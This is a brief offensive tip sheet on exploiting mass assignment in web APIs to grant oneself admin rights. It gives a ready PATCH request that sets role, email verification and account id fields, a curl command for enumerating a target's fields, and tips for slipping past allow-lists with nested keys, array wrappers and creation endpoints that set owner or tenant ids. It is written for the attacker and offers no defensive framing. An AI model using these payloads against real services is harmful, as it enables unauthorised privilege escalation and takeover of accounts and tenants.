Mass assignment to escalate your own role
Auto-binding frameworks map every JSON key to a model attribute. If the profile update endpoint does not allow-list fields, you set privileged ones yourself.
http
PATCH /api/users/me HTTP/1.1
Content-Type: application/json
{"name":"me","role":"admin","email_verified":true,"account_id":1}
Discover accepted fields by diffing a GET response, or by reading the model in client bundles.
bash
# pull field names from a source map or API schema
curl -s https://target/api/users/me | jq 'keys'
Pro note: nested keys often slip past shallow allow-lists, so try {"profile":{"role":"admin"}} and array wrappers. Also test creation endpoints, which are frequently less guarded than updates and may let you set the owner or tenant id directly.